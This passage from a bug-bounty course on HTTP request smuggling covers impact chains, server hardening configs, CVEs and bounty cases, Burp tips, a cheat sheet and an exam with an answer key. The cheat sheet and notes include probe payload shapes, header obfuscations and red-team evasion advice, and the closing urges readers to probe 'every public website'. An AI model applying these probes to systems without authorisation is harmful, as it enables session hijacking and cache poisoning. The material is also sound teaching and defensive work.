  • 5. Delivering reflected XSS to other users (turning self-XSS into universal XSS).
  • 6. Stored XSS through cache poisoning (every visitor sees the malicious response).
  • 7. Web cache deception (caching one user's private data under a public URL).
  • 8. Response queue poisoning (random users receive admin pages, errors, or other users' data).
  • 9. Tunneling SQL injection, command injection, XXE, or any other payload past the front-end WAF.
  • 10. CSRF token theft and replay.
  • 11. OAuth token theft via smuggling the OAuth redirect.
  • 12. Account takeover through cookie capture.
  • 13. Mass phishing via cache-poisoned redirects.
  • 14. Internal SSRF: tunneling requests to internal services the front-end blocks.
  • 15. Denial of service: poisoning the response queue can cause cascading failures.

Real-world bounty payouts for smuggling alone range from $250 (minor variants) to $7,500+ on major bug bounty programs. Chains add 2x to 10x to the base. The Cloudflare hex-encoding smuggling earned $6,000 (HackerOne report 1478633). The Apache Tomcat CVE-2024-21733 disclosure earned $4,660 from Internet Bug Bounty. Basecamp paid $7,500 for HTTP/2 smuggling. The 2024 Google Cloud TE.0 disclosure paid $8,500.

SECTION 16. Prevention

Vulnerable architecture vs secure architecture

text
==========================================================
VULNERABLE
==========================================================
                         HTTP/2
   Client  ----------------------->  CDN  (HTTP/2 capable)
                                      |
                                      |  downgrades to HTTP/1.1
                                      |  forwards both CL and TE
                                      v
                                   Back-end
                                  (parses CL & TE
                                   differently from CDN)
text
==========================================================
SECURE
==========================================================
                         HTTP/2 end to end
   Client  ----------------------->  CDN
                                      |
                                      |  also HTTP/2 to back-end
                                      |  no header translation
                                      v
                                   Back-end
                                  (no length ambiguity
                                   in HTTP/2 frames)

Vulnerable Nginx config vs secure Nginx config

nginx
# VULNERABLE: forwards all client headers as-is to back-end
http {
  upstream backend {
    server 10.0.0.1:8080;
    keepalive 32;       # connection reuse, multiplier for smuggling
  }
  
  server {
    location / {
      proxy_pass http://backend;
      # No header normalization. Both CL and TE forwarded.
    }
  }
}
nginx
# SECURE: normalize and reject ambiguity at the edge
http {
  upstream backend {
    server 10.0.0.1:8080;
    # Either disable connection reuse:
    # (no "keepalive" directive)
    # ... OR keep it but normalize strictly.
    keepalive 32;
  }
  
  server {
    location / {
      # Reject conflicting length headers
      if ($http_transfer_encoding ~* "chunked") {
        # If TE is present, kill any CL that the client also sent
        proxy_set_header Content-Length "";
      }
      
      # Reject obfuscated TE
      if ($http_transfer_encoding ~* "(xchunked|chunked.+,)") {
        return 400;
      }
      
      proxy_http_version 1.1;
      proxy_pass http://backend;
      # Force back-end to use HTTP/1.1 with strict parsing.
    }
  }
}

The fix explained

The core fix is to make the front-end and the back-end speak the same protocol with no ambiguity. There are three layers.

  • Protocol layer. Use HTTP/2 end to end. HTTP/2 uses binary frames with explicit length, no string-based headers for length. No CL vs TE conflict. Disable HTTP downgrading wherever possible.
  • Proxy layer. If you must downgrade, normalize headers at the edge: reject requests with both Content-Length and Transfer-Encoding; reject requests with obfuscated headers; close the back-end connection on any error; disable connection reuse to the back-end.
  • Server layer. Keep every server in the chain patched. New smuggling CVEs come out monthly. Subscribe to security advisories for your CDN, your reverse proxy, your app server, and your runtime.

The 8 prevention rules

  • 1. Use HTTP/2 end to end where possible. Disable HTTP downgrading.
  • 2. Reject any request that has both Content-Length and Transfer-Encoding headers.
  • 3. Reject any request with obfuscated Transfer-Encoding (whitespace, mixed case anomalies, line folding, unknown prefixes).
  • 4. Normalize headers at the front-end: strip duplicates, canonicalize names, reject ambiguity, then forward only the normalized version.
  • 5. Disable connection reuse to the back-end. Worse performance, smuggling-safe.
  • 6. Use exactly the same web server software at both ends so they agree on parsing.
  • 7. Close the back-end TCP connection on any parsing error, before the leftover bytes can poison the next request.
  • 8. Enforce all critical security checks (auth, host validation, rate limiting) at the back-end too, never assume the front-end has done it.

Developer checklist

text
[ ] HTTP/2 end to end where possible
[ ] HTTP downgrade explicitly disabled OR strictly validated
[ ] Front-end rejects requests with both CL and TE
[ ] Front-end rejects obfuscated TE headers
[ ] All headers normalized at the edge
[ ] Back-end keepalive connection reuse evaluated for risk
[ ] All servers in chain patched within 14 days of CVE disclosure
[ ] Back-end has its own authentication, not just the front-end's
[ ] Back-end has its own rate limiting, not just the front-end's
[ ] Internal admin endpoints validate Host header against allowlist
[ ] WAF is configured to drop ambiguous length headers
[ ] Monitoring alerts on 400/502 spikes (early smuggling indicator)
[ ] Burp Suite scanner run quarterly on every public endpoint
[ ] Penetration test includes explicit smuggling probes

Framework-specific secure examples

Node.js (Express, Node 20+):

javascript
const express = require('express');
const http = require('http');
const app = express();

// Node 20+ rejects ambiguous CL+TE by default.
// Force HTTP/1.1 strict parsing.
const server = http.createServer({ insecureHTTPParser: false }, app);

// Additional: reject keepalive on suspicious requests
app.use((req, res, next) => {
  if (req.headers['transfer-encoding'] && req.headers['content-length']) {
    return res.status(400).send('Ambiguous length headers');
  }
  next();
});

server.listen(3000);

Apache Tomcat: upgrade to 10.1.16+ or 9.0.83+. Set the strict parsing options:

xml
<Connector port="8080" protocol="HTTP/1.1"
           rejectIllegalHeader="true"
           allowHostHeaderMismatch="false"
           strictTransferEncoding="true"
           connectionTimeout="20000" />

Spring Boot: use embedded Tomcat 10.1.16+ AND validate at the web filter layer:

java
@Component
public class SmugglingPreventionFilter implements Filter {
    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {
        HttpServletRequest http = (HttpServletRequest) req;
        if (http.getHeader("Transfer-Encoding") != null
            && http.getHeader("Content-Length") != null) {
            ((HttpServletResponse) res).setStatus(400);
            return;
        }
        chain.doFilter(req, res);
    }
}

Python (Gunicorn / FastAPI): Gunicorn 23+ rejects ambiguity. Add a middleware:

python
from fastapi import FastAPI, Request
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import Response

class SmugglingFilter(BaseHTTPMiddleware):
    async def dispatch(self, request: Request, call_next):
        if "transfer-encoding" in request.headers and "content-length" in request.headers:
            return Response(status_code=400, content="Ambiguous length headers")
        return await call_next(request)

app = FastAPI()
app.add_middleware(SmugglingFilter)

Cloudflare: Cloudflare normalizes by default but enable the "HTTP/2 to origin" setting (Cloudflare ==> SSL/TLS ==> Edge Certificates ==> HTTP/2 to Origin).

AWS: enable ALB's HTTP/2 to target on the listener. Ensure target group health checks do not bypass the validation path.

Enterprise-level mitigations

  • Deploy a request normalization layer (such as ModSecurity 3.x with Core Rule Set) that explicitly drops ambiguous-length requests.
  • Use a Service Mesh (Istio, Linkerd) for east-west traffic to enforce HTTP/2 between services.
  • Subscribe to your CDN's security advisories. Akamai, Cloudflare, AWS, Google all publish patch notes that touch smuggling regularly.
  • Schedule quarterly tabletop incident response exercises that include smuggling chains.
  • Tag every smuggling-related ticket with the variant (CL.TE, TE.CL, etc.) so trend analysis is possible.
  • Run continuous fuzzing of your edge using Microsoft's smugglefuzz against a staging clone.

SECTION 17. Real-World Cases

CVEs

  • CVE-2025-55315 (CVSS 9.x) ==> ASP.NET Core Kestrel chunk-extension smuggling. Disclosed October 2025. Different handling of `\r`, `\n`, and `\r\n` inside chunk extensions allowed smuggling on every Kestrel-fronted application. Patched in .NET 8.0.x and 9.0.x. See https://nvd.nist.gov/vuln/detail/CVE-2025-55315
  • CVE-2025-54142 (CVSS 7.x) ==> Akamai OPTIONS-with-body smuggling. Disclosed August 2025. Akamai forwarded OPTIONS requests with a body to origin; some origins ignored the body, leaving it as smuggling payload. Akamai applied a platform-wide fix (terminate connections on OPTIONS+body) on August 11, 2025.
  • CVE-2025-43859 (CVSS 8.1) ==> Python h11 library lenient line folding. Multiple Python web stacks (httpx, urllib3 downstream) inherited the bug. Patched in h11 0.16+. See https://nvd.nist.gov/vuln/detail/CVE-2025-43859
  • CVE-2025-32094 (CVSS 8.3) ==> Akamai OPTIONS combined with obsolete line folding. Disclosed early 2025. Akamai customers using non-compliant origins were exposed. See https://nvd.nist.gov/vuln/detail/CVE-2025-32094
  • CVE-2024-21733 (CVSS 5.3) ==> Apache Tomcat 8.x and 9.x client-side desync. Browser-powered request smuggling without needing a vulnerable proxy. Patched in Tomcat 9.0.74+ and 10.1.18+. See https://nvd.nist.gov/vuln/detail/CVE-2024-21733
  • CVE-2023-46589 (CVSS 7.5) ==> Apache Tomcat improper handling of malformed trailer headers in chunked requests. Patched Nov 2023. See https://nvd.nist.gov/vuln/detail/CVE-2023-46589
  • CVE-2023-45648 (CVSS 5.3) ==> Apache Tomcat improper handling of trailer headers. Patched Oct 2023. See https://nvd.nist.gov/vuln/detail/CVE-2023-45648
  • CVE-2023-44487 ==> HTTP/2 Rapid Reset. Not pure smuggling, but exploits HTTP/2 stream framing. Together with H2.TE downgrade chains, expanded the smuggling attack surface. See https://nvd.nist.gov/vuln/detail/CVE-2023-44487
  • CVE-2022-32215 ==> Node.js multi-line Transfer-Encoding parsing led to smuggling. Patched in Node 16.20.0, 18.7.0. See https://nvd.nist.gov/vuln/detail/CVE-2022-32215
  • CVE-2022-32213 ==> Node.js llhttp ignored chunk extensions, opening smuggling vectors. Patched in Node 16.16.0, 18.5.0. See https://nvd.nist.gov/vuln/detail/CVE-2022-32213

HackerOne disclosures

  • GSA Bounty $750 ==> "HTTP Request Smuggling on https://labs.data.gov" (159 upvotes). CL.TE on a government site, classic confirm-by-differential-response pattern. See https://hackerone.com/reports/726773
  • Cloudflare $6,000 ==> "HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function" (114 upvotes). The Edge Rules engine accepted hexadecimal escape sequences like `\x0a\x0d` in the `concat()` function, which let an attacker inject CRLF and craft a TE.CL smuggling attack. See https://hackerone.com/reports/1478633
  • Internet Bug Bounty $4,660 ==> Apache Tomcat CVE-2023-45648 disclosure. See https://hackerone.com/reports/2148786
  • Internet Bug Bounty $4,660 ==> CVE-2024-21733 Apache Tomcat HTTP Request Smuggling (client-side desync).
  • Cloudflare $3,100 ==> "HTTP request smuggling with Origin Rules using newlines in the host_header action parameter" (46 upvotes).
  • Apache HTTP Server $2,400 ==> "mod_proxy_ajp: Possible request smuggling" (21 upvotes).
  • Internet Bug Bounty $1,800 ==> "CVE-2022-32215 HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding".
  • Internet Bug Bounty $1,800 ==> "HTTP Request Smuggling Due to Incorrect Parsing of Header Fields".
  • Internet Bug Bounty $1,800 ==> "HTTP Request Smuggling via Empty headers separated by CR".
  • Basecamp $7,500 ==> HTTP/2 request smuggling. Among the top-paying smuggling bounties ever on the Basecamp program.
  • Basecamp $1,737 ==> Unauthenticated request smuggling on launchpad.37signals.com.
  • Basecamp $1,700 ==> HTTP request smuggling on Basecamp 2 allows web cache poisoning.
  • Lob $500 ==> HTTP Request Smuggling on vpn.lob.com (123 upvotes).
  • Visma Public $500 ==> HTTP Request Smuggling at app.workbox.dk (139 upvotes).
  • Razer $375 ==> Request Smuggling via vulnerable skipper reverse proxy.
  • X / xAI $560 ==> http request smuggling in pscp.tv and periscope.tv.
  • Helium $bounty (private amount) ==> CL.TE on console.helium.com. See https://hackerone.com/reports/867952
  • Google Cloud $8,500 ==> 2024 TE.0 smuggling on Google Load Balancer affecting thousands of GCP customers. Disclosed via VRP, partially overlapping with a prior internal report.

Notable historical milestones

  • 2005 ==> Original "HTTP Request Smuggling" paper by Watchfire (Linhart, Klein, Heled, Orrin). The technique was named, the CL/TE conflict was documented, and the bug class was born.
  • 2019 ==> "HTTP Desync Attacks: Request Smuggling Reborn" by James Kettle. Brought the technique back into mainstream awareness, demonstrated impact on PayPal, Akamai, Cisco, F5 BIG-IP. Multiple six-figure bounties.
  • 2021 ==> "HTTP/2: The Sequel is Always Worse" by James Kettle. Introduced H2.CL, H2.TE, H2.TE.CL chains. Demonstrated attacks against Atlassian, Netflix, AWS, Google Cloud.
  • 2022 ==> "Browser-Powered Desync Attacks" by James Kettle. Client-side desync (CSD) and pause-based desync. No vulnerable proxy needed; the victim's own browser is the attacker.
  • 2023-2024 ==> CL.0 cluster, TE.0 cluster. New variants by community researchers.
  • 2024 ==> Google Cloud TE.0 disclosure. Thousands of websites affected. $8,500 bounty.
  • 2025 ==> Chunk-extension smuggling (CVE-2025-55315) drops new vectors against Kestrel/.NET. OPTIONS+body smuggling (CVE-2025-54142) on Akamai. Parser-discrepancy fuzzing emerges as the dominant technique for finding new variants.

Lessons learned

  • Smuggling lives in infrastructure, not application code. Patch your servers; do not just review your app.
  • Every new HTTP feature (HTTP/2, HTTP/3, gRPC, WebTransport) ships with smuggling variants within 1-2 years.
  • The bounty ladder is steep: $250 for a duplicate, $7,500+ for a chain on a top-50 site.
  • Confirmation matters. "Probable" results from automated scanners produce noise. "Confirmed" with a differential response produces bounties.
  • Reading James Kettle's research papers in order is the fastest learning path. Five hours invested pays off as years of bug bounty income.

SECTION 18. References

SECTION 19. Practical Labs

SOON.

Critical Burp tip for every smuggling exercise

  • 1. In Repeater, switch from HTTP/2 to HTTP/1.1 (Inspector ==> Request attributes ==> Protocol).
  • 2. In Repeater menu, uncheck "Update Content-Length" so you control byte counts.
  • 3. Enable "Show non-printables" (toolbar) so you can see `\r\n` boundaries.
  • 4. Change the method to POST so both `Content-Length` and `Transfer-Encoding` headers are accepted naturally.
  • 5. Count every byte. A space is 1 byte, `\r\n` is 2 bytes. If counts are off, the exploit silently fails. Sinon t9dr tbdllha nta ela hassab kolla chars wla espace b 1.
  • 6. Always end the smuggled request with a junk header (`X-foo: X\r\n`) so the back-end has a buffer to consume before the next real request glues on.

SECTION 20. Cheat Sheet

text
+--------------------------------------------------------------------+
|         ANAS EDUCATION -- HTTP REQUEST SMUGGLING CHEAT SHEET       |
+--------------------------------------------------------------------+
|                                                                    |
|  DETECTION (TIMING PROBES)                                         |
|    ==> CL.TE probe ==> CL: 4, TE: chunked, body "1\r\nA\r\nX"      |
|        Delay = back-end uses TE (CL.TE pattern)                    |
|    ==> TE.CL probe ==> CL: 6, TE: chunked, body "0\r\n\r\nX"       |
|        Delay = back-end uses CL (TE.CL pattern)                    |
|                                                                    |
|  CONFIRMATION (DIFFERENTIAL RESPONSE)                              |
|    ==> Send smuggling + follow with normal GET                     |
|    ==> 2nd response = 404 means smuggled prefix glued on           |
|                                                                    |
|  BURP REPEATER CHECKLIST                                           |
|    ==> Protocol: HTTP/1.1 (not HTTP/2)                             |
|    ==> Update Content-Length: OFF                                  |
|    ==> Show non-printables: ON                                     |
|    ==> Method: POST                                                |
|    ==> End body with "X-foo: X\r\n" to swallow real request bytes  |
|                                                                    |
|  KEY VARIANTS                                                      |
|    1. CL.TE      ==> front uses CL, back uses TE                   |
|    2. TE.CL      ==> front uses TE, back uses CL                   |
|    3. TE.TE      ==> obfuscate TE so one server ignores it         |
|    4. CL.0       ==> back-end ignores body, expects no length      |
|    5. TE.0       ==> back-end ignores TE entirely (GCP 2024)       |
|    6. H2.CL      ==> HTTP/2 in, HTTP/1.1 out, lying CL              |
|    7. H2.TE      ==> HTTP/2 in, HTTP/1.1 out, forbidden TE          |
|    8. H2.CRLF    ==> CRLF injection in HTTP/2 header value         |
|    9. CSD        ==> client-side desync, browser-only              |
|   10. Pause-based==> mid-stream pause + timeout race               |
|   11. Chunk-ext  ==> CVE-2025-55315 Kestrel \r vs \n in chunks      |
|   12. OPTIONS+body=> CVE-2025-54142 Akamai                         |
|                                                                    |
|  TE.TE OBFUSCATIONS                                                |
|    ==> Transfer-Encoding: xchunked                                 |
|    ==> Transfer-Encoding:[TAB]chunked                              |
|    ==> [SPACE]Transfer-Encoding: chunked                           |
|    ==> Transfer-Encoding:\n chunked   (line folding)               |
|    ==> Two TE headers, second invalid                              |
|    ==> Transfer-Encoding: chunked, identity                        |
|                                                                    |
|  IMPACT LADDER                                                     |
|    ==> bypass front-end controls (admin, host, WAF)                |
|    ==> capture other users' requests + cookies                     |
|    ==> deliver reflected XSS to all users                          |
|    ==> web cache poisoning ==> mass exploitation                   |
|    ==> response queue poisoning ==> random session takeover        |
|                                                                    |
|  TOOLS                                                             |
|    ==> Burp HTTP Request Smuggler v3 (built-in 2025.10+)           |
|    ==> defparam/smuggler.py                                        |
|    ==> Microsoft/smugglefuzz (HTTP/2, HTTP/3)                      |
|    ==> BishopFox/h2csmuggler                                       |
|    ==> Turbo Intruder (pause-based desync)                         |
|                                                                    |
|  PREVENTION                                                        |
|    ==> HTTP/2 end to end, no downgrade                             |
|    ==> Reject requests with both CL and TE                         |
|    ==> Normalize headers at edge, reject obfuscation               |
|    ==> Disable back-end connection reuse (or strict close on err)  |
|    ==> Same web server software on both ends                       |
|    ==> Validate auth + host at back-end too                        |
|    ==> Patch within 14 days of CVE                                 |
|                                                                    |
|  KEY CWE: CWE-444                                                  |
|  OWASP: A03:2021 / A05:2021                                        |
|  CAPEC: CAPEC-33                                                   |
|                                                                    |
+--------------------------------------------------------------------+
|                     Go hunt. -- ANAS EDUCATION                     |
+--------------------------------------------------------------------+

SECTION 21. Exam

Thirty multiple-choice questions. Each tests a specific concept from the course. Aim for 24+ out of 30 to pass.

  • 1. HTTP request smuggling exploits a disagreement between which two components?

A) Browser and proxy B) Front-end and back-end servers C) DNS and CDN D) Database and application

  • 2. Which two HTTP/1.1 headers can both indicate body length?

A) Content-Type and Accept B) Host and Origin C) Content-Length and Transfer-Encoding D) Authorization and Cookie

  • 3. Per RFC 9112, if both Content-Length and Transfer-Encoding are present, the server must:

A) Use Content-Length B) Use Transfer-Encoding C) Reject the request D) Either B or C

  • 4. In CL.TE smuggling, the front-end uses:

A) Transfer-Encoding only B) Content-Length, back-end uses Transfer-Encoding C) Both, then chooses TE D) Neither

  • 5. In TE.CL smuggling, the back-end uses:

A) Transfer-Encoding B) Content-Length C) Host header D) None of the above

  • 6. What does "TE.TE" mean?

A) Both servers use Transfer-Encoding but one is induced to ignore the header through obfuscation B) Front-end ignores TE, back-end uses TE C) Both servers reject TE D) Transfer-Encoding is doubled in the body

  • 7. Which HTTP version is inherently immune to classic request smuggling when used end to end?

A) HTTP/1.0 B) HTTP/1.1 C) HTTP/2 D) None of them

  • 8. What is HTTP downgrade in the smuggling context?

A) Reducing the HTTP version on response B) Front-end speaks HTTP/2 to client, HTTP/1.1 to back-end C) Disabling HTTPS D) Browser falling back to HTTP

  • 9. The CWE for HTTP request smuggling is:

A) CWE-79 B) CWE-89 C) CWE-444 D) CWE-22

  • 10. The CAPEC ID for HTTP request smuggling is:

A) CAPEC-1 B) CAPEC-33 C) CAPEC-66 D) CAPEC-77

  • 11. A classic CL.TE confirmation payload puts a fake header at the end (`X-foo: X`) so that:

A) The WAF allows it B) The back-end has a buffer to swallow the next request's leading bytes C) The browser caches it D) DNS resolves correctly

  • 12. Which Burp Suite setting must be DISABLED to send smuggling payloads correctly?

A) Show non-printables B) Update Content-Length C) Intercept D) Use HTTP/2

  • 13. Which Burp Suite setting must be ENABLED to see chunk boundaries clearly?

A) Show non-printables B) Update Content-Length C) Auto-decode D) Display in hex

  • 14. The protocol switch in Burp Repeater (from HTTP/2 to HTTP/1.1) is found in:

A) Inspector ==> Request attributes ==> Protocol B) Settings ==> Network C) Project options ==> Connections D) Extender ==> APIs

  • 15. CVE-2025-55315 affects which web server?

A) Apache B) Nginx C) Kestrel (.NET) D) Tomcat

  • 16. CVE-2025-54142 was caused by:

A) Akamai forwarding OPTIONS requests with a body that origins did not consume B) Tomcat trailer header mishandling C) Node.js llhttp parser bug D) Python h11 line folding

  • 17. The 2024 Google Cloud Load Balancer disclosure was a:

A) CL.TE smuggling B) CL.0 smuggling C) TE.0 smuggling D) H2.CL smuggling

  • 18. James Kettle's foundational 2019 paper was titled:

A) HTTP/2 The Sequel Is Always Worse B) HTTP Desync Attacks: Request Smuggling Reborn C) Browser-Powered Desync Attacks D) HTTP/1.1 Must Die

  • 19. Web cache poisoning via smuggling stores:

A) A redirect or malicious response under a popular URL's cache key B) The attacker's IP in DNS C) JavaScript in the browser disk cache D) None of these

  • 20. Response queue poisoning causes:

A) The back-end to reject all requests B) Random users to receive responses meant for other users C) The cache to expire D) The TLS handshake to fail

  • 21. The best universal fix for HTTP request smuggling is:

A) Use a WAF B) Use HTTP/2 end to end C) Disable cookies D) Block all POST requests

  • 22. Disabling back-end connection reuse (no keepalive to upstream):

A) Worsens performance but mitigates many smuggling exploits B) Has no effect on smuggling C) Enables smuggling D) Breaks HTTPS

  • 23. Client-side desync (CSD) is exploitable through:

A) A vulnerable browser cache only B) The victim's own browser reusing a desynced connection C) DNS rebinding D) JavaScript prototype pollution

  • 24. Chunk-extension smuggling (CVE-2025-55315) exploits inconsistent handling of:

A) Content-Type headers B) `\r`, `\n`, and `\r\n` in chunk extension lines C) HTTP/3 stream framing D) WebSocket upgrade headers

  • 25. To capture another user's request via smuggling, the attacker usually:

A) Smuggles a POST with a Content-Length larger than the actual body so the next user's request bytes fill the gap B) Floods the server with requests C) Hijacks the DNS for the user's domain D) Steals their browser cookies via XSS

  • 26. A timing-based detection probe relies on:

A) The back-end timing out while waiting for more body bytes B) The DNS TTL expiring C) TCP retransmission D) HTTPS renegotiation

  • 27. The "X-foo: X" trailing header in a smuggling payload is:

A) A real header parsed by the back-end B) A junk header used to consume leading bytes of the next request and avoid parser errors C) Required by RFC 9112 D) Encrypted

  • 28. Which of these is NOT a standard smuggling variant?

A) CL.TE B) TE.CL C) UDP.TE D) H2.CL

  • 29. The recommended approach to verify smuggling and avoid false positives is:

A) Trust the timing probe B) Run a vulnerability scanner once C) Confirm with a differential response (e.g., a follow-up 404) D) Ask the developer

  • 30. Mass-impact smuggling attacks typically chain into:

A) DNS hijacking only B) Cache poisoning, response queue poisoning, or stored XSS C) Browser cookie theft only D) Phone phishing

Answer key

  • 1.B 2.C 3.D 4.B 5.B 6.A 7.C 8.B 9.C 10.B
  • 11.B 12.B 13.A 14.A 15.C 16.A 17.C 18.B 19.A 20.B
  • 21.B 22.A 23.B 24.B 25.A 26.A 27.B 28.C 29.C 30.B

Scoring

  • 27-30 correct ==> Expert. You can hunt smuggling on real targets today.
  • 24-26 correct ==> Solid. Practice on a live bug bounty target.
  • 19-23 correct ==> Re-read sections 2, 3, and 11. Then retry the exam.
  • Below 19 ==> Retake the course from Section 1.

SECTION 22. Certificate Requirements

To earn the ANAS EDUCATION HTTP Request Smuggling certificate:

  • Complete all 24 sections of this course.
  • Complete all ANAS EDUCATION smuggling labs (released as SOON).
  • Pass this exam with at least 24 out of 30 correct.

SECTION 23. Important Notes

Common Beginner Mistakes

  • Counting bytes wrong. Each `\r\n` is 2 bytes, each space is 1 byte. If you set Content-Length to 32 but your payload is 33 bytes, the exploit silently fails. Use Burp's "Show non-printables" toolbar and count manually until it becomes second nature.
  • Forgetting to disable "Update Content-Length" in Burp Repeater. Burp will helpfully recalculate the header for you and break every smuggling payload. Turn it off the first time you open Repeater and never turn it on again for this work.
  • Testing on HTTP/2. Classic CL.TE and TE.CL only work on HTTP/1.1. Switch the protocol in Burp Repeater (Inspector ==> Request attributes ==> Protocol) before sending the probe.
  • Reporting smuggling on timing alone. Many networks have natural latency variation. Always confirm with a differential response (a follow-up request that returns a clearly different status code).
  • Missing the trailing `X-foo: X` junk header. Without it, the back-end may parse the leading bytes of the next real request as a broken header and close the connection. Smuggling fails silently.
  • Assuming smuggling does not exist because "the site uses Cloudflare". Cloudflare itself has had multiple smuggling CVEs and pays $3,000+ bounties for them.

Pentester Tips

  • Always start a smuggling assessment by enumerating the architecture. Read `Via`, `X-Cache`, `Server`, `CF-Ray` headers. If you cannot identify both a front-end and a back-end, you are unlikely to find smuggling.
  • Run Burp HTTP Request Smuggler v3's "Smuggle probe" on every POST endpoint as one of the first scans you do. The tool eliminates most false positives if you set it to look for "Confirmed".
  • Smuggling is one of the few bug classes where you should NOT proxy the test through Burp's main proxy listener AT THE SAME TIME as Repeater. Use Repeater only, on a clean connection. Otherwise Burp may interfere with the byte boundary you need.
  • When testing TE.CL, you may need to send the request twice in quick succession. The first establishes the desync; the second observes the result. Manually pressing Send twice within 200ms in Repeater is enough.

Bug Bounty Tips

  • Smuggling bounties scale with impact. A raw "I can smuggle a 404" is worth $250 to $750. A "I can capture other users' requests" is worth $1,500 to $3,000. A "I can poison the cache for all users" is worth $5,000+. Always escalate before reporting.
  • Document the confirmation step carefully in your report. Programs often have triagers who have never seen smuggling. Show two screenshots: the smuggling request, and the follow-up request returning a different status.
  • Save your raw Burp Repeater payloads as `.txt` files and attach them to the report. Programs need to reproduce; vague descriptions get marked Informational.
  • Programs increasingly run their own smuggling scanners. If you find a bug, report fast. Duplicate windows for smuggling can be hours.
  • Bonus impact: smuggling + Host header attacks (SSRF, password reset poisoning) usually doubles the bounty.

Red Team Notes

  • Smuggling is one of the cleanest red team techniques because there is rarely a defender alert for it. Standard SIEMs do not understand the protocol-level subtlety.
  • Use smuggling to bypass network detection: your inner request appears to come from the trusted front-end load balancer. To the back-end's logs, the request is internal.
  • Combine with internal SSRF for lateral movement. If the back-end's `/admin/internal` is reachable only from the front-end IP, smuggling gives you that IP automatically.
  • Be careful about denial-of-service. Smuggling can crash the back-end if the smuggled request is malformed enough. Test on a staging environment first.

Defender Tips

  • Alert on 400/502 spikes from your back-end. Smuggling experiments often produce these as side effects.
  • Run quarterly automated smuggling scans against your own production using Burp Enterprise or smugglefuzz against a staging clone.
  • Monitor for ambiguous-length-header requests at the WAF and log them. A single client sending CL+TE consistently is a red flag.
  • Patch your CDN, reverse proxy, app server, and runtime within 14 days of any smuggling-related CVE. New variants ship every few months.

Things to Remember During Exams

  • Memorize the variants: CL.TE, TE.CL, TE.TE, CL.0, TE.0, H2.CL, H2.TE.
  • Memorize the CWE: 444.
  • Memorize the spec rule: when both headers are present, prefer TE (or reject).
  • Memorize the timing probe shapes (Section 11 techniques 1 and 2).
  • Memorize the Burp checklist: HTTP/1.1, Update CL off, Show non-printables on, POST method.

Frequently Confused Concepts

  • Request smuggling vs. response splitting. Smuggling injects a request into the back-end's input stream. Response splitting injects bytes into the back-end's response stream. Different bug, both involve CRLF.
  • Smuggling vs. pipelining. HTTP pipelining is a legitimate feature where multiple requests share a connection. Smuggling is the abuse of parser disagreements on the boundary between pipelined requests. Modern researchers (and the YesWeHack/SquidSec articles) note that many "smuggling" reports in 2025 are just legitimate pipelining; confirm with a differential response.
  • Smuggling vs. cache poisoning. Cache poisoning is one possible impact OF smuggling. The other direction is also true: smuggling is one of multiple ways to achieve cache poisoning. Do not confuse the technique with the impact.
  • CL.0 vs. TE.0. CL.0: back-end ignores the Content-Length header and reads body as zero length. TE.0: back-end ignores the Transfer-Encoding header similarly. Different headers, same "ignore body" pattern.
  • Client-side desync vs. server-side desync. Server-side desync requires a vulnerable proxy chain. Client-side desync (CSD) needs only a vulnerable back-end and a victim's browser; the browser itself reuses the desynced connection.

Interview Tips

  • If asked "what is HTTP request smuggling", start with the one-sentence definition: "It is an attack where the front-end and back-end servers disagree about where one HTTP request ends and the next begins, letting an attacker inject a hidden second request that gets glued onto the next user's traffic."
  • If asked "how do you find it", say "Timing probe for CL.TE and TE.CL, then confirm with a differential response. Burp HTTP Request Smuggler v3 automates this and only flags Confirmed results."
  • If asked "how do you prevent it", say "HTTP/2 end to end is the architectural fix. Failing that, normalize headers at the edge, reject ambiguous CL+TE requests, disable back-end connection reuse, and keep every server in the chain patched."
  • If asked "what is the impact", say "Bypassing front-end security controls, capturing other users' requests with their cookies, web cache poisoning, response queue poisoning, and tunneling other vulnerabilities like SQL injection or XSS past WAFs."

Key Takeaways

  • Smuggling is an infrastructure bug, not an application bug. Patch your servers.
  • CL.TE and TE.CL are the foundation. Master both before touching H2 variants.
  • Always confirm with a differential response, never report on timing alone.
  • Byte-level precision matters. Get used to counting `\r\n` as 2 bytes.
  • The newest 2025 vectors (chunk extensions, OPTIONS+body, parser discrepancy) come from automated fuzzing. Run Burp Smuggler v3 and smugglefuzz on every target.
  • HTTP/2 end to end is the real fix. Demand it from your infra team.

SECTION 24. Final Word from Your Instructor

HTTP request smuggling is the most elegant bug class on the web. It does not exploit a buffer overflow, it does not inject SQL, it does not break crypto. It exploits the gap between two parsers that read the same bytes differently. That gap exists because the HTTP/1.1 specification was written in 1999, and the modern web layered CDNs, load balancers, WAFs, and microservices on top of it. Every layer reads the bytes slightly differently. Every difference is a potential exploit.

When you see a website backed by Cloudflare, by Akamai, by AWS, by Google Cloud, you are looking at a request path with at least three parsers in it. Each parser belongs to a different team. Each team patched their parser at a different time. Each parser handles obscure RFC corners differently. Somewhere in that chain there is almost always an ambiguity. Your job is to find it.

Your job is not to memorize every CVE. CVEs are the footprints of past smuggling researchers. Your job is to understand the principle so deeply that you can find the next CVE yourself. The principle is one line: any two HTTP parsers that disagree on byte boundaries can be exploited to inject a request into the next user's stream. That is the entire bug class. Burn it into your brain.

When you encounter a target, ask three questions. First, how many HTTP servers are in the path? Read the response headers. Second, do they speak the same protocol end to end? If you see HTTP/2 on the front but HTTP/1.1 on the back, downgrade ambiguity is in play. Third, when you send a request with both Content-Length and Transfer-Encoding, what does the back-end do with the leftover bytes? Send a timing probe. Send a differential confirmation. The rest follows from those three questions.

You will encounter many false leads. Most of what looks like smuggling is HTTP pipelining or a slow back-end. Confirm with a differential response every time. You will encounter scanners that flag "Probable" smuggling on every target; ignore them, look for "Confirmed". You will encounter triagers who do not understand the bug; write your report with two screenshots and a raw payload file, and be patient.

The reward for mastering this bug class is steep. Smuggling bounties on top-tier programs pay $5,000 to $20,000 per chain. The Akamai disclosure paid $50,000+ over its history. The James Kettle research papers from 2019, 2021, and 2022 are required reading; read them once, build hands-on practice with smuggling labs, then read them again and you will see new vectors you missed.

You are no longer a beginner. You know the protocol, the variants, the techniques, the tools, the CVEs, the impacts, the fixes. Every public website with a CDN in front is a candidate. Every login form, every API endpoint, every OPTIONS handler is a probe target.

Go hunt.